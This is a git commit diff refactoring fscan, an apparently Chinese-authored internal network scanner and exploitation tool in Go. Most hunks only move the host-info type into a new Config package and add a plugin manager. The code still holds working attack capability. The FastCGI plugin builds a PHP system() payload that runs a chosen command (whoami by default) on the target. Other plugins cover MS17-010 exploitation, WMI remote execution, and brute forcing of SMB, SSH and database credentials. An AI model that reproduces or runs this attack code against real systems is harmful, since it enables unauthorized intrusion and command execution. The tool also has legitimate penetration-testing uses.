refactor: 重构涉及文件更新

This commit is contained in:
ZacharyZcR 2024-12-18 21:56:08 +08:00
parent cae98e7d90
commit ab14b15864
27 changed files with 260 additions and 235 deletions

View File

@ -3,6 +3,7 @@ package Plugins
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Config"
"time"
"github.com/shadow1ng/fscan/common"
@ -94,7 +95,7 @@ const (
"\x00\x00\x00\x00"
)
func SmbGhost(info *common.HostInfo) error {
func SmbGhost(info *Config.HostInfo) error {
if common.IsBrute {
return nil
}
@ -102,7 +103,7 @@ func SmbGhost(info *common.HostInfo) error {
return err
}
func SmbGhostScan(info *common.HostInfo) error {
func SmbGhostScan(info *Config.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)

View File

@ -4,6 +4,7 @@ import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3"
"net"
@ -14,7 +15,7 @@ import (
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *common.HostInfo) error {
func NetBIOS(info *Config.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
@ -25,7 +26,7 @@ func NetBIOS(info *common.HostInfo) error {
return errNetBIOS
}
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" {
@ -84,7 +85,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
return
}
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)

View File

@ -6,6 +6,7 @@ import (
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"io"
"strconv"
@ -18,34 +19,43 @@ import (
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
// FcgiScan 执行FastCGI服务器漏洞扫描
func FcgiScan(info *Config.HostInfo) error {
// 如果设置了暴力破解模式则跳过
if common.IsBrute {
return
return nil
}
// 设置目标URL路径
url := "/etc/issue"
if common.Path != "" {
url = common.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
// 构造PHP命令注入代码
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
switch {
case common.Command == "read":
reqParams = ""
reqParams = "" // 读取模式
case common.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", common.Command, cutLine) // 自定义命令
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
// 设置FastCGI环境变量
env := map[string]string{
"SCRIPT_FILENAME": url,
"DOCUMENT_ROOT": "/",
"SERVER_SOFTWARE": "go / fcgiclient ",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_PROTOCOL": "HTTP/1.1",
}
// 根据请求类型设置对应的环境变量
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
@ -54,6 +64,7 @@ func FcgiScan(info *common.HostInfo) {
env["REQUEST_METHOD"] = "GET"
}
// 建立FastCGI连接
fcgi, err := New(addr, common.Timeout)
defer func() {
if fcgi.rwc != nil {
@ -61,54 +72,47 @@ func FcgiScan(info *common.HostInfo) {
}
}()
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 发送FastCGI请求
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
//1
//Content-type: text/html
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
// 处理响应结果
output := string(stdout)
var result string
var output = string(stdout)
if strings.Contains(output, cutLine) { //命令成功回显
if strings.Contains(output, cutLine) {
// 命令执行成功,提取输出结果
output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
} else if strings.Contains(output, "File not found") ||
strings.Contains(output, "Content-type") ||
strings.Contains(output, "Status") {
// 目标存在FastCGI服务但可能路径错误
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
info.Host, info.Ports, output)
}
common.LogSuccess(result)
}
return nil
}
// for padding so we don't have to allocate all the time

View File

@ -4,6 +4,7 @@ import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strconv"
"strings"
@ -16,12 +17,12 @@ var (
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
func Findnet(info *Config.HostInfo) error {
err := FindnetScan(info)
return err
}
func FindnetScan(info *common.HostInfo) error {
func FindnetScan(info *Config.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {

View File

@ -3,12 +3,13 @@ package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
func FtpScan(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
@ -47,7 +48,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)

View File

@ -2,6 +2,7 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"os"
"path/filepath"
@ -88,7 +89,7 @@ var (
}
)
func LocalInfoScan(info *common.HostInfo) (err error) {
func LocalInfoScan(info *Config.HostInfo) (err error) {
home, err := os.UserHomeDir()
if err != nil {
errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err)

View File

@ -2,12 +2,13 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error) {
func MemcachedScan(info *Config.HostInfo) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {

View File

@ -2,12 +2,13 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MongodbScan(info *common.HostInfo) error {
func MongodbScan(info *Config.HostInfo) error {
if common.IsBrute {
return nil
}
@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error {
return err
}
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) {
flag = false
// op_msg
packet1 := []byte{

View File

@ -5,6 +5,7 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"io"
"io/ioutil"
@ -13,7 +14,7 @@ import (
"time"
)
func MS17010EXP(info *common.HostInfo) {
func MS17010EXP(info *Config.HostInfo) {
address := info.Host + ":445"
var sc string
switch common.SC {

View File

@ -5,6 +5,7 @@ import (
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
@ -23,7 +24,7 @@ var (
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
)
func MS17010(info *common.HostInfo) error {
func MS17010(info *Config.HostInfo) error {
if common.IsBrute {
return nil
}
@ -35,7 +36,7 @@ func MS17010(info *common.HostInfo) error {
return err
}
func MS17010Scan(info *common.HostInfo) error {
func MS17010Scan(info *Config.HostInfo) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)

View File

@ -4,12 +4,13 @@ import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
func MssqlScan(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
@ -36,7 +37,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)

View File

@ -4,12 +4,13 @@ import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
func MysqlScan(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
@ -36,7 +37,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)

View File

@ -3,13 +3,14 @@ package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
func OracleScan(info *common.HostInfo) (tmperr error) {
func OracleScan(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
@ -36,7 +37,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)

View File

@ -4,12 +4,13 @@ import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
func PostgresScan(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
@ -36,7 +37,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")

View File

@ -3,6 +3,7 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
@ -26,7 +27,7 @@ type Brutelist struct {
pass string
}
func RdpScan(info *common.HostInfo) (tmperr error) {
func RdpScan(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return
}

View File

@ -3,6 +3,7 @@ package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"io"
"net"
@ -16,7 +17,7 @@ var (
dir string
)
func RedisScan(info *common.HostInfo) (tmperr error) {
func RedisScan(info *Config.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true && err == nil {
@ -45,7 +46,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
@ -81,7 +82,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
func RedisUnauth(info *Config.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)

View File

@ -2,22 +2,22 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
)
func Scan(info common.HostInfo) {
func Scan(info Config.HostInfo) {
fmt.Println("[*] 开始信息扫描...")
// 本地信息收集模块
if common.Scantype == "localinfo" {
ch := make(chan struct{}, common.Threads)
wg := sync.WaitGroup{}
AddScan("1000006", info, &ch, &wg)
AddScan("localinfo", info, &ch, &wg)
wg.Wait()
common.LogWG.Wait()
close(common.Results)
@ -36,9 +36,7 @@ func Scan(info common.HostInfo) {
lib.Inithttp()
ch := make(chan struct{}, common.Threads)
wg := sync.WaitGroup{}
web := strconv.Itoa(common.PORTList["web"])
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
var AlivePorts, severports []string
var AlivePorts []string
if len(Hosts) > 0 || len(common.HostPort) > 0 {
// ICMP存活性检测
@ -52,22 +50,7 @@ func Scan(info common.HostInfo) {
}
// 端口扫描策略
switch common.Scantype {
case "webonly", "webpoc":
AlivePorts = NoPortScan(Hosts, common.Ports)
case "hostname":
common.Ports = "139"
AlivePorts = NoPortScan(Hosts, common.Ports)
default:
if len(Hosts) > 0 {
AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
fmt.Printf("[+] 存活端口数量: %d\n", len(AlivePorts))
if common.Scantype == "portscan" {
common.LogWG.Wait()
return
}
}
}
AlivePorts = executeScanStrategy(Hosts, common.Scantype)
// 处理自定义端口
if len(common.HostPort) > 0 {
@ -77,12 +60,7 @@ func Scan(info common.HostInfo) {
fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts))
}
// 构建服务端口列表
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
// 开始漏洞扫描
// 执行扫描任务
fmt.Println("[*] 开始漏洞扫描...")
for _, targetIP := range AlivePorts {
hostParts := strings.Split(targetIP, ":")
@ -92,34 +70,14 @@ func Scan(info common.HostInfo) {
}
info.Host, info.Ports = hostParts[0], hostParts[1]
if common.Scantype == "all" || common.Scantype == "main" {
switch {
case info.Ports == "135":
AddScan(info.Ports, info, &ch, &wg)
if common.IsWmi {
AddScan("1000005", info, &ch, &wg)
}
case info.Ports == "445":
AddScan(ms17010, info, &ch, &wg)
case info.Ports == "9000":
AddScan(web, info, &ch, &wg)
AddScan(info.Ports, info, &ch, &wg)
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, &ch, &wg)
default:
AddScan(web, info, &ch, &wg)
}
} else {
scantype := strconv.Itoa(common.PORTList[common.Scantype])
AddScan(scantype, info, &ch, &wg)
}
executeScanTasks(info, common.Scantype, &ch, &wg)
}
}
// URL扫描
for _, url := range common.Urls {
info.Url = url
AddScan(web, info, &ch, &wg)
AddScan("web", info, &ch, &wg)
}
// 等待所有任务完成
@ -129,11 +87,65 @@ func Scan(info common.HostInfo) {
fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num)
}
// executeScanStrategy 执行端口扫描策略
func executeScanStrategy(Hosts []string, scanType string) []string {
switch scanType {
case "webonly", "webpoc":
return NoPortScan(Hosts, common.Ports)
case "hostname":
common.Ports = "139"
return NoPortScan(Hosts, common.Ports)
default:
if len(Hosts) > 0 {
ports := PortScan(Hosts, common.Ports, common.Timeout)
fmt.Printf("[+] 存活端口数量: %d\n", len(ports))
if scanType == "portscan" {
common.LogWG.Wait()
return nil
}
return ports
}
}
return nil
}
// executeScanTasks 执行扫描任务
func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) {
if scanType == "all" || scanType == "main" {
// 根据端口选择扫描插件
switch info.Ports {
case "135":
AddScan("findnet", info, ch, wg)
if common.IsWmi {
AddScan("wmiexec", info, ch, wg)
}
case "445":
AddScan("ms17010", info, ch, wg)
case "9000":
AddScan("web", info, ch, wg)
AddScan("fcgi", info, ch, wg)
default:
// 查找对应端口的插件
for name, plugin := range Config.PluginManager {
if strconv.Itoa(plugin.Port) == info.Ports {
AddScan(name, info, ch, wg)
return
}
}
// 默认执行Web扫描
AddScan("web", info, ch, wg)
}
} else {
// 直接使用指定的扫描类型
AddScan(scanType, info, ch, wg)
}
}
// Mutex用于保护共享资源的并发访问
var Mutex = &sync.Mutex{}
// AddScan 添加扫描任务到并发队列
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取信号量,控制并发数
*ch <- struct{}{}
// 添加等待组计数
@ -161,20 +173,25 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.
}()
}
// ScanFunc 通过反射调用对应的扫描插件
func ScanFunc(name *string, info *common.HostInfo) {
// 异常恢复处理
// ScanFunc 执行扫描插件
func ScanFunc(name *string, info *Config.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}()
// 通过反射获取插件函数
f := reflect.ValueOf(PluginList[*name])
// 构造参数并调用插件函数
in := []reflect.Value{reflect.ValueOf(info)}
f.Call(in)
// 检查插件是否存在
plugin, exists := Config.PluginManager[*name]
if !exists {
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
return
}
// 直接调用扫描函数
if err := plugin.ScanFunc(info); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}
// IsContain 检查切片中是否包含指定元素

View File

@ -3,6 +3,7 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
@ -10,7 +11,7 @@ import (
)
// SmbScan 执行SMB服务的认证扫描
func SmbScan(info *common.HostInfo) (tmperr error) {
func SmbScan(info *Config.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if common.IsBrute {
return nil
@ -64,7 +65,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
}
// SmblConn 尝试建立SMB连接并进行认证
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
// 配置SMB连接选项
@ -92,7 +93,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
}
// doWithTimeOut 执行带超时的SMB连接认证
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
// 在goroutine中执行SMB连接

View File

@ -2,6 +2,7 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"net"
"os"
@ -12,7 +13,7 @@ import (
)
// SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式
func SmbScan2(info *common.HostInfo) (tmperr error) {
func SmbScan2(info *Config.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if common.IsBrute {
return nil
@ -31,7 +32,7 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
}
// smbHashScan 使用哈希进行认证扫描
func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error {
func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error {
for _, user := range common.Userdict["smb"] {
for _, hash := range common.HashBytes {
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
@ -59,7 +60,7 @@ func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error {
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) error {
func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
@ -88,7 +89,7 @@ func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) erro
}
// logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) {
func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ",
@ -107,7 +108,7 @@ func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) {
}
// logFailedAuth 记录失败的认证
func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) {
func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
@ -134,7 +135,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool {
}
// Smb2Con 尝试SMB2连接并进行认证检查共享访问权限
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
time.Duration(common.Timeout)*time.Second)
@ -197,7 +198,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
}
// logShareInfo 记录SMB共享信息
func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) {
func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, shares []string) {
var result string
// 构建基础信息

View File

@ -2,6 +2,7 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
@ -11,7 +12,7 @@ import (
)
// SshScan 执行SSH服务的认证扫描
func SshScan(info *common.HostInfo) (tmperr error) {
func SshScan(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
@ -56,7 +57,7 @@ func SshScan(info *common.HostInfo) (tmperr error) {
}
// SshConn 尝试建立SSH连接并进行认证
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
// 准备认证方法
var auth []ssh.AuthMethod
if common.SshKey != "" {

View File

@ -4,6 +4,7 @@ import (
"compress/gzip"
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/Config"
"io"
"net/http"
"net/url"
@ -18,7 +19,7 @@ import (
"golang.org/x/text/encoding/simplifiedchinese"
)
func WebTitle(info *common.HostInfo) error {
func WebTitle(info *Config.HostInfo) error {
if common.Scantype == "webpoc" {
WebScan.WebScan(info)
return nil
@ -39,7 +40,7 @@ func WebTitle(info *common.HostInfo) error {
}
return err
}
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
if info.Url == "" {
switch info.Ports {
case "80":
@ -93,7 +94,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
return
}
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302

View File

@ -3,6 +3,7 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/common"
"os"
"strings"
@ -26,7 +27,7 @@ func init() {
flag = true
}
func WmiExec(info *common.HostInfo) (tmperr error) {
func WmiExec(info *Config.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
@ -70,7 +71,7 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
return tmperr
}
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(common.Timeout)
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)

View File

@ -3,6 +3,7 @@ package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http"
@ -17,7 +18,7 @@ var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) {
func WebScan(info *Config.HostInfo) {
once.Do(initpoc)
var pocinfo = common.Pocinfo
buf := strings.Split(info.Url, "/")

View File

@ -5,13 +5,14 @@ import (
"encoding/hex"
"flag"
"fmt"
"github.com/shadow1ng/fscan/Config"
"net/url"
"os"
"strconv"
"strings"
)
func Parse(Info *HostInfo) {
func Parse(Info *Config.HostInfo) {
ParseUser()
ParsePass(Info)
ParseInput(Info)
@ -44,7 +45,7 @@ func ParseUser() {
}
}
func ParsePass(Info *HostInfo) {
func ParsePass(Info *Config.HostInfo) {
var PwdList []string
if Password != "" {
passs := strings.Split(Password, ",")
@ -140,7 +141,7 @@ func Readfile(filename string) ([]string, error) {
return content, nil
}
func ParseInput(Info *HostInfo) {
func ParseInput(Info *Config.HostInfo) {
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
fmt.Println("Host is none")
flag.Usage()
@ -235,49 +236,74 @@ func ParseInput(Info *HostInfo) {
Hashs = []string{}
}
func ParseScantype(Info *HostInfo) {
if _, validType := PORTList[Scantype]; !validType {
showmode()
return
// ParseScantype 解析扫描类型并设置对应的端口
func ParseScantype(Info *Config.HostInfo) error {
